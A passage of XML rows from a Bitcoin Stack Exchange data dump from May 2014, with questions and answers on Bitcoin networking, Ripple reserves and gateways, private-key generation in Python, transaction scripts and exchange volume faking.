safe to say that (as long as you have a good backup and know the password(s)), with a little help from the Bitcoin community, you will always be able to recover your Blockchain.info private keys for use elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-24T12:48:00.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25577" PostTypeId="1" CreationDate="2014-05-24T15:19:32.110" Score="1" ViewCount="312" Body="&lt;p&gt;I'm trying to send a raw bitcoin transaction through a raw socket connection in python. To debug I'm using wireshark to sniff the packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wireshark figures out that the packet is for Bitcoin and that it's a 'version' message, and gets the first couple fields right, but then neglects the checksum field and instead assigns what should be the checksum to the protocol version, throwing everything else off.  I can't seem to get to the bottom of it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other message types, like 'tx', include the checksum but have other issues (I'll get to later).  Any ideas why wireshark isn't picking up on the checksum for the version message?&lt;/p&gt;&#xA;" OwnerUserId="4736" LastEditorUserId="47827" LastEditDate="2021-01-24T15:07:13.737" LastActivityDate="2021-01-24T15:07:13.737" Title="wireshark packet analysis missing checksum in version msg" Tags="|protocol|raw-transaction|p2p|network|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25578" PostTypeId="2" ParentId="17365" CreationDate="2014-05-24T19:16:16.420" Score="3" Body="&lt;p&gt;Check comments in this commit &#xA;&lt;a href=&quot;https://gitorious.org/bitcoin/luke-jr-bitcoin/commit/4538e45c46d3829a21aed7685e6fbac7e8aafad3&quot; rel=&quot;nofollow&quot;&gt;https://gitorious.org/bitcoin/luke-jr-bitcoin/commit/4538e45c46d3829a21aed7685e6fbac7e8aafad3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Add -checklevel and improve -checkblocks&#xA;&#xA;-checkblocks now takes a numeric argument: the number of blocks that must be verified at the end of the chain. Default is 2500, and 0 means all blocks.&#xA;&#xA;-checklevel specifies how thorough the verification must be:&#xA;&#xA;    0: only check whether the block exists on disk&#xA;    1: verify block validity (default)&#xA;    2: verify transaction index validity&#xA;    3: check transaction hashes&#xA;    4: check whether spent txouts were spent within the main chain&#xA;    5: check whether all prevouts are marked spent&#xA;    6: check whether spent txouts were spent by a valid transaction that consumes them&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12049" LastEditorUserId="6218" LastEditDate="2015-05-19T08:28:07.590" LastActivityDate="2015-05-19T08:28:07.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25579" PostTypeId="1" AcceptedAnswerId="25599" CreationDate="2014-05-24T21:17:01.030" Score="5" ViewCount="12752" Body="&lt;p&gt;I understand the Ripple &lt;a href=&quot;https://ripple.com/wiki/Reserves&quot; rel=&quot;noreferrer&quot;&gt;reserve system&lt;/a&gt;. You need some XRP in order for you to preserve your account into the Ripple network and additional XRP to assign trust line to your account. I also understand that you cannot spend this reserve because otherwise your account will be removed from the network and forgotten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what if I want to recover the XRP from an account because I don't need the account anymore? Shouldn't it be possible to spend the reserve XRP on your own risk?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2018-01-17T22:39:12.167" Title="Why can't I spend my reserve XRP and delete my address from the network?" Tags="|ripple|xrp-reserve|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25580" PostTypeId="2" ParentId="10534" CreationDate="2014-05-24T21:21:42.613" Score="2" Body="&lt;p&gt;Apparently, a full API reference just got published on the Bitcoin website: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-reference#remote-procedure-calls-rpcs&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-reference#remote-procedure-calls-rpcs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-05-24T21:21:42.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25581" PostTypeId="1" CreationDate="2014-05-24T22:53:23.770" Score="2" ViewCount="624" Body="&lt;p&gt;&lt;a href=&quot;http://www.bitundo.com/undo/index.html#/proceed&quot; rel=&quot;nofollow&quot;&gt;BitUndo private transactions&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you choose to make your undo transaction private, &lt;strong&gt;nobody will be&#xA;  able to see that you tried to undo a transaction, unless it succeed&lt;/strong&gt;.&#xA;  You have to know that a private undo transaction has less chances to&#xA;  succeed, as is not distributed in the whole bitcoin network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From what I know, for a undo transaction to even stand a chance of competing with the main transaction, it has to be broadcasted to the &lt;em&gt;public&lt;/em&gt; network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, then how does Bitundo &quot;private transactions&quot; work?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="15143" LastEditDate="2014-05-26T09:28:20.430" LastActivityDate="2014-05-26T09:28:20.430" Title="How can &quot;undo&quot; bitcoin transactions be &quot;private&quot;?" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25582" PostTypeId="2" ParentId="25581" CreationDate="2014-05-24T23:17:49.070" Score="2" Body="&lt;p&gt;The failed transaction won't get stored in a block on the blockchain, so it will be hard for an average person to find them.  I think most of the Bitcoin nodes will delete them from memory eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, these sneaky undo transactions are probably not broadcast so publicly in the same way that normal transactions are; they are probably sent to a smaller network of miners who want to participate in this undo system.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastActivityDate="2014-05-24T23:17:49.070" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25583" PostTypeId="1" CreationDate="2014-05-24T23:33:13.153" Score="15" ViewCount="46711" Body="&lt;p&gt;If you have a bank account in the US and an account in the UK, and you want to move money from one to the other, is Bitcoin a sensible way to do it, or are you better off using TransferWise or just doing an international wire transfer?&lt;/p&gt;&#xA;" OwnerUserId="16951" LastActivityDate="2017-12-13T09:52:56.527" Title="Does it make sense to use BitCoin to transfer money to yourself internationally?" Tags="|currencies|wire-transfers|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25585" PostTypeId="1" AcceptedAnswerId="25589" CreationDate="2014-05-25T02:17:57.037" Score="3" ViewCount="268" Body="&lt;p&gt;In the Ripple Client, in order to convert to BTC, I need to select a &lt;code&gt;Base Currency&lt;/code&gt; (it currently says &lt;code&gt;BTC ???&lt;/code&gt;.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for a &lt;code&gt;Base Currency Issuer&lt;/code&gt; address and found &lt;a href=&quot;http://www.nofiatcoin.com/how-to-grant-trust-to-bitstamp.html&quot; rel=&quot;nofollow&quot;&gt;how to grant trust to BitStamp,&lt;/a&gt; which lists what is supposedly BitStamp's address.  I realize, however, that I cannot trust this address because it comes from &lt;a href=&quot;http://www.nofiatcoin.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.nofiatcoin.com/&lt;/a&gt; instead of &lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume BitStamp requires signing up for an account before showing an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is having an account just BitStamp's policy? Say I had a secure way of getting BitStamp's address without signing up for an account and I added this address as a BTC issuer. Couldn't I just buy/sell BitStamp-IOU's over the Ripple Network, even without an account at BitStamp? If so, why would BitStamp only divulge its issuer address if the user has an account?&lt;/p&gt;&#xA;" OwnerUserId="13411" LastActivityDate="2014-05-25T19:01:20.657" Title="Must I have an account with every gateway I use as an issuer?" Tags="|ripple|ripple-gateways|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25586" PostTypeId="2" ParentId="25097" CreationDate="2014-05-25T03:28:33.200" Score="-1" Body="&lt;p&gt;Couldn't you specify your clock rates with your launching params (your first code fragment) and then when you have BFG running, just save your current settings (Press [S] then [W]) and it'll launch just the same next time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if I'm understanding your question correctly.&lt;/p&gt;&#xA;" OwnerUserId="16954" LastActivityDate="2014-05-25T03:28:33.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25587" PostTypeId="1" CreationDate="2014-05-25T06:27:16.783" Score="3" ViewCount="56" Body="&lt;p&gt;This depends on the way in which # transactions are measured.&lt;/p&gt;&#xA;" OwnerUserId="16955" LastActivityDate="2014-05-25T14:00:50.400" Title="What is to stop people from pumping the volume of transactions via automated micropayments to a large group of addresses?" Tags="|buy-bitcoins|sell-bitcoins|volume|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25588" PostTypeId="2" ParentId="25583" CreationDate="2014-05-25T08:05:41.650" Score="14" Body="&lt;p&gt;While in the US last year, I sent money to myself in Europe that way once, because it was significantly cheaper than using the legacy banking system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it mostly comes down to whether you have easy access to a Bitcoin exchange from your bank account in the US and what amounts you are trying to transfer. It also depends on how urgently you need the money in the other country, and which country you currently are residing in.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternative 1 (if in UK): Use your US &lt;strong&gt;credit card&lt;/strong&gt; to get Pounds from the bank, deposit those in your UK bank.&lt;br&gt;&#xA;Advantage: Fast&lt;br&gt;&#xA;Disadvantage: Currency exchange fee, fee for using CC abroad, (Deposit fee, if you have one)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternative 2: &lt;strong&gt;International Wire Transfer&lt;/strong&gt;&lt;br&gt;&#xA;Advantage: No manual involvement&lt;br&gt;&#xA;Disadvantage: Takes several days, expensive (~$50), get lost sometimes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternative 3: &lt;strong&gt;PayPal&lt;/strong&gt;&lt;br&gt;&#xA;Advantage: Very fast, independent from residence&lt;br&gt;&#xA;Disadvantage: ~3% exchange fee, % transfer fee, has to be withdrawn to Bank account&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternative 4: &lt;strong&gt;Money transmitter&lt;/strong&gt;&lt;br&gt;&#xA;Advantage: Fast&lt;br&gt;&#xA;Disadvantage: Needs to be picked up and deposited, expensive I think&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Bitcoin&lt;/strong&gt;:&lt;br&gt;&#xA;Advantage: Can be cheap&lt;br&gt;&#xA;Disadvantage: Takes a few days, manual involvement&lt;br&gt;&#xA;Procedure:&lt;br&gt;&#xA;• Consider buying Bitcoin locally if in the US, else buy Bitcoin from Exchange or Coinbase (each takes a few days until it is cleared, I think)&lt;br&gt;&#xA;• Send Bitcoin to your account at an exchange in Europe&lt;br&gt;&#xA;• Trade Bitcoin for national currency&lt;br&gt;&#xA;• Withdraw to Bank account (usually a small fee applies).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Personal experience&lt;/strong&gt;&lt;br&gt;&#xA;Back when I did that last year, I was able to buy Bitcoin at a Bitcoin Meetup at Bitstamp spot-price. I transfered those to Bitstamp, traded, and ordered a withdrawal.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a confirmation that the money was headed to my bank account within 30 minutes, it arrived two days later. I actually made a few dollars on it, because the price had slightly increased between my local trade and the trade on Bitstamp.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-05-25T08:11:15.047" LastActivityDate="2014-05-25T08:11:15.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25589" PostTypeId="2" ParentId="25585" CreationDate="2014-05-25T08:53:53.397" Score="4" Body="&lt;h2&gt;Where can I find the address?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The address you need to trust to hold Bitstamp issued currencies is available from the Bitstamp website, but as you noted, you must be logged in to see the relevant page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;em&gt;also&lt;/em&gt; find the address at &lt;a href=&quot;https://www.bitstamp.net/ripple.txt&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net/ripple.txt&lt;/a&gt; under the &lt;code&gt;[accounts]&lt;/code&gt; key. The &lt;code&gt;ripple.txt&lt;/code&gt; file is documented here: &lt;a href=&quot;https://ripple.com/wiki/Ripple.txt&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Ripple.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Do I need an account?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You do not need to have an account with Bitsamp to be able to hold Bitstamp-issued assets. All you need is to trust their address. You can then buy Bitstamp-issued BTC, or USD or EUR or whatever else purely on the Ripple network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, having a Bitstamp account will allow you to redeem those IOUs through Bitstamp. Without such an account, you can still trade them on the Ripple network for either XRP or other assets, likely issued by another gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find this primer to be of help: &lt;a href=&quot;https://ripple.com/guide-to-ripple-gateways/&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/guide-to-ripple-gateways/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-05-25T19:01:20.657" LastActivityDate="2014-05-25T19:01:20.657" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25590" PostTypeId="2" ParentId="25587" CreationDate="2014-05-25T09:30:57.857" Score="4" Body="&lt;p&gt;There's several anti-DOS measures that counter this: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;transaction fees get expensive with large numbers of outputs&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;many rapid transactions with no fees will be rejected &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;small amounts (less than 0.000045) in an output are called dust, and are rejected&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It essentially becomes prohibitively expensive to try to spam. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastEditorUserId="13413" LastEditDate="2014-05-25T14:00:50.400" LastActivityDate="2014-05-25T14:00:50.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25592" PostTypeId="5" CreationDate="2014-05-25T10:23:38.597" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-05-25T10:23:38.597" LastActivityDate="2014-05-25T10:23:38.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25593" PostTypeId="4" CreationDate="2014-05-25T10:23:38.597" Score="0" Body="Questions concerned with the structure, members, and work of the Bitcoin Foundation." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-05-25T10:23:38.597" LastActivityDate="2014-05-25T10:23:38.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25594" PostTypeId="1" CreationDate="2014-05-25T11:04:39.883" Score="2" ViewCount="79" Body="&lt;p&gt;When a create a wallet, lets say with blockchain, do I have to check my wallet always with blockchain, or can I also check my wallet with different providern of wallets, where I did not established my wallet. Some provider of wallets link directly to blockchain, and some not. Therefore I could a bit confused.&lt;/p&gt;&#xA;" OwnerUserId="16957" LastActivityDate="2014-05-25T22:17:35.683" Title="How and where to establish a wallet" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25596" PostTypeId="2" ParentId="25594" CreationDate="2014-05-25T12:59:59.760" Score="2" Body="&lt;p&gt;No, you can import your private key in another wallet software. Under the import/export option in Blockchain you can export the private key, and you'll be able to import elsewhere. It also works the other way around. If you create an address somewhere else, you can also import it on the blockchain website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;no&lt;/strong&gt;, you do not always have to check your wallet with blockchain.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-25T12:59:59.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25598" PostTypeId="2" ParentId="13970" CreationDate="2014-05-25T16:33:42.350" Score="2" Body="&lt;p&gt;This is not entirely responsive to your question, but in furtherance of David Schwartz's response (which was, in summary, &quot;yes&quot;), I don't think you need to recreate an instance SystemRandom for each hex character you generate. From &lt;a href=&quot;https://docs.python.org/2/library/random.html#random.SystemRandom&quot; rel=&quot;nofollow&quot;&gt;https://docs.python.org/2/library/random.html#random.SystemRandom&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[SystemRandom] uses the os.urandom() function for generating random numbers from sources provided by the operating system. Not available on all systems. Does not rely on software state and sequences are not reproducible. Accordingly, the seed() and jumpahead() methods have no effect and are ignored. The getstate() and setstate() methods raise NotImplementedError if called.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think you can call SystemRandom.randint on your bounds directly (with a pretty big speed boost):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from random import SystemRandom&#xA;from binascii import hexlify&#xA;from struct import Struct&#xA;&#xA;SYS_RAN = SystemRandom()&#xA;PACKER = Struct('&amp;gt;QQQQ')&#xA;MIN_VAL = 0x1L&#xA;MAX_VAL = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141&#xA;&#xA;def mkprivkey():&#xA;    key = SYS_RAN.randint(MIN_VAL, MAX_VAL)&#xA;    key0 = key &amp;gt;&amp;gt; 192&#xA;    key1 = (key &amp;gt;&amp;gt; 128) &amp;amp; 0xffffffffffffffff&#xA;    key2 = (key &amp;gt;&amp;gt; 64) &amp;amp; 0xffffffffffffffff&#xA;    key3 = key &amp;amp; 0xffffffffffffffff&#xA;&#xA;    return hexlify(PACKER.pack(key0, key1, key2, key3))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my &lt;a href=&quot;https://gist.github.com/mbogosian/8488da5bda5d75651e25&quot; rel=&quot;nofollow&quot;&gt;testing&lt;/a&gt;, the above is about an order of magnitude faster, even after normalizing your creation of SystemRandom instances and removing your test to see if you've exceeded the max value (per David Schwartz's suggestion):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% time python ./test_ecdsaprivkey.py&#xA;mkprivkey:          0.016 ms avg&#xA;create_private_key: 0.168 ms avg&#xA;python ./test_ecdsaprivkey.py  9.99s user 11.00s system 86% cpu 24.388 total&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, this probably doesn't matter unless you're creating tens of thousands of keys.&lt;/p&gt;&#xA;" OwnerUserId="15409" LastEditorUserId="15409" LastEditDate="2014-05-26T02:30:16.083" LastActivityDate="2014-05-26T02:30:16.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25599" PostTypeId="2" ParentId="25579" CreationDate="2014-05-25T18:40:46.487" Score="3" Body="&lt;p&gt;The issue is that for safety reasons Ripple currently has no way to remove the account root ledger node to completely remove a Ripple account. Since the reserves exist to help limit the size of the current ledger, any un-deletable ledger node requires a non-refundable XRP reserve (although if the XRP reserves are lowered, as they have been in the past, the difference becomes spendable again). Note that a Ripple account can use all of their XRP in transaction fees, just not in payments or trades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a good discussion on why Ripple doesn't allow for account deletion on the &lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=1&amp;amp;t=32#p271&quot; rel=&quot;nofollow&quot;&gt;Ripple forums&lt;/a&gt;. Basically, doing so would make it possible for a user (or client) to in error re-create the same Ripple account/address (e.g. if someone uses an old Ripple secret to &quot;recover&quot; their account). That would make old transactions signed by that account now be potentially valid against this &quot;new&quot; account (since Ripple uses a simple sequence number per account to prevent replays).&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-05-25T18:40:46.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25600" PostTypeId="2" ParentId="25533" CreationDate="2014-05-25T19:12:12.497" Score="1" Body="&lt;p&gt;You can see the addresses that sent and received money when looking at a transaction on most services. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/c6cb02e70442275ffb7b35cc8a9416323ff7e01b5378abc20ae7f5b6e7617884&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/c6cb02e70442275ffb7b35cc8a9416323ff7e01b5378abc20ae7f5b6e7617884&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The big green arrow shows the transfer from one address (1B898F2tcWHX1LZWWfD21FRzqWrtXLocXN) to the 2 others. Programmatically you could use an API that returns JSON with equivalent information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.blockcypher.com/v1/btc/main/txs/c6cb02e70442275ffb7b35cc8a9416323ff7e01b5378abc20ae7f5b6e7617884&quot; rel=&quot;nofollow&quot;&gt;https://api.blockcypher.com/v1/btc/main/txs/c6cb02e70442275ffb7b35cc8a9416323ff7e01b5378abc20ae7f5b6e7617884&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it isn't straightforward to extract this information when looking at a raw transaction as the addresses are embedded in the script.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-05-25T19:12:12.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25601" PostTypeId="2" ParentId="25594" CreationDate="2014-05-25T22:17:35.683" Score="0" Body="&lt;p&gt;With Bitcoin and cryptocurrencies, you're free to do everything you want with your money. The private key shows ownership and any wallet software that can import your private key will give you full control (i.e. issue transactions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you just want to see the and monitor transactions related to your address, this is public information that can be seen on any block explorer. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://helloblock.io/addresses/18DUBayAjhP4Tbf3hvkSmyMuvbHB2L8siy&quot; rel=&quot;nofollow&quot;&gt;https://helloblock.io/addresses/18DUBayAjhP4Tbf3hvkSmyMuvbHB2L8siy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-05-25T22:17:35.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25602" PostTypeId="1" AcceptedAnswerId="29866" CreationDate="2014-05-25T23:35:01.993" Score="3" ViewCount="2677" Body="&lt;p&gt;With the PoS (Proof of Stake) setup for the coin Philosopher Stone. Do I have to leave the QT client open all the time in order to receive interest? This coin is based of off PPCoin, so does it do the same thing having to leave your qt client open all the time in order to receive interest?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-08-04T20:36:16.413" Title="PoS (Proof of Stake) - Do you have to leave your wallet QT application open all the time to receive interest? mainly for the coin Philosopher stone" Tags="|proof-of-stake|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25603" PostTypeId="1" CreationDate="2014-05-26T00:42:08.443" Score="3" ViewCount="4876" Body="&lt;p&gt;Now, I assume that probably all cryptocurrencies that have any value at all are impossible to mine alone for any realistic mining cluster setup, for a normal individual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have been curious about this for a while: How do you mine solo? If I want to run &lt;code&gt;sgminer&lt;/code&gt; on lets say &lt;code&gt;Vertcoin&lt;/code&gt;, using only my own miner, how would you do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not looking for just some answer that describes the concept, but what commands would you actually issue to get this working with &lt;code&gt;sgminer&lt;/code&gt; (omitting the performance specific arguments of course)?&lt;/p&gt;&#xA;" OwnerUserId="10798" LastEditorUserId="5406" LastEditDate="2016-04-25T08:29:15.220" LastActivityDate="2016-04-25T08:30:40.647" Title="How to mine solo Vertcoin?" Tags="|miner-configuration|solo-mining|vertcoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25604" PostTypeId="2" ParentId="1851" CreationDate="2014-05-26T04:42:59.847" Score="0" Body="&lt;p&gt;An alternative to generating an address is to use a valid address known to be almost impossible to retrieve coins from i.e. &lt;a href=&quot;https://blockchain.info/address/1BitcoinEaterAddressDontSendf59kuE&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1BitcoinEaterAddressDontSendf59kuE&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a good as destroyed because if anyone could reverse engineer the private key for this address, then due to the vanity length, they could use the same method to reverse engineer the private key for any address. Or they were lucky in the same way as winning the lottery jackpot each week for a year is lucky.&lt;/p&gt;&#xA;" OwnerUserId="3177" LastActivityDate="2014-05-26T04:42:59.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25607" PostTypeId="1" CreationDate="2014-05-26T07:40:09.720" Score="1" ViewCount="80" Body="&lt;p&gt;So, through an odd bug in hacking some stuff onto Bitcoin, I encountered a peculiar thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I managed to generate an transaction with 2 outputs. The first output was a typical  txout&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DUP HASH160 20:905a...a998 EQUALVERIFY CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, a bug caused the second output (the change output, to send it back to myself) to be a mining generate transaction script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;33:025c...6718 CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was not considered a non-standard TX, and as far as I can tell, was interpreted as a valid transaction for sending coins and block explorers see it as being sent to the proper address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly is the difference between these two scripts? What is the significance of using a mining script for a transaction? &lt;/p&gt;&#xA;" OwnerUserId="9512" LastEditorUserId="5406" LastEditDate="2016-03-16T10:51:50.183" LastActivityDate="2016-03-16T10:51:50.183" Title="What happens when a transaction script for mining is used for fund transfer?" Tags="|script|coinbase-transaction|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25608" PostTypeId="2" ParentId="25607" CreationDate="2014-05-26T07:48:00.227" Score="2" Body="&lt;p&gt;One is a pay-to-pubkey-hash script (the typical script represented by normal addresses), the other is a pay-to-pubkey script. Both are perfectly valid and standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for using direct pay-to-pubkey in coinbases is because they are older. For most purposes pay-to-pubkey-hash is superior (you don't need to know the full public key of the recipient, there is a standard address type for them, there is a marginal security benefit, and they require less space in the validation database). However, direct pay-to-pubkey is just as valid, and the mining code was never adapted to use pubkey hashes instead.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-05-26T07:48:00.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25609" PostTypeId="1" AcceptedAnswerId="25610" CreationDate="2014-05-26T09:53:30.770" Score="3" ViewCount="180" Body="&lt;p&gt;A &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1v9qqx/huobi_can_we_cut_the_bullshit_already/&quot; rel=&quot;nofollow&quot;&gt;reddit post&lt;/a&gt; claims that Huobi is faking trade volume by &quot;self-matching&quot; trades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it mean to say that Huobi &quot;self-match&quot; trades?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2014-05-27T10:26:32.860" Title="What does it mean to say that Huobi &quot;self-match&quot; trades?" Tags="|exchanges|fraud|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25610" PostTypeId="2" ParentId="25609" CreationDate="2014-05-26T10:03:51.627" Score="3" Body="&lt;p&gt;It basically means that the exchange is showing false volume on their site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Exchange inserts order to buy 1 btc @500USD/BTC&lt;/li&gt;&#xA;&lt;li&gt;Exchange inserts order to sell 1 btc @500USD/BTC&lt;/li&gt;&#xA;&lt;li&gt;Orders match and the exchange's trade volume has increased by 1btc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But actually, no real trade has occurred. They artificially updated their records to attract more traders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be harshly penalized if it was done by a regulated exchange.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2014-05-27T10:26:32.860" LastActivityDate="2014-05-27T10:26:32.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
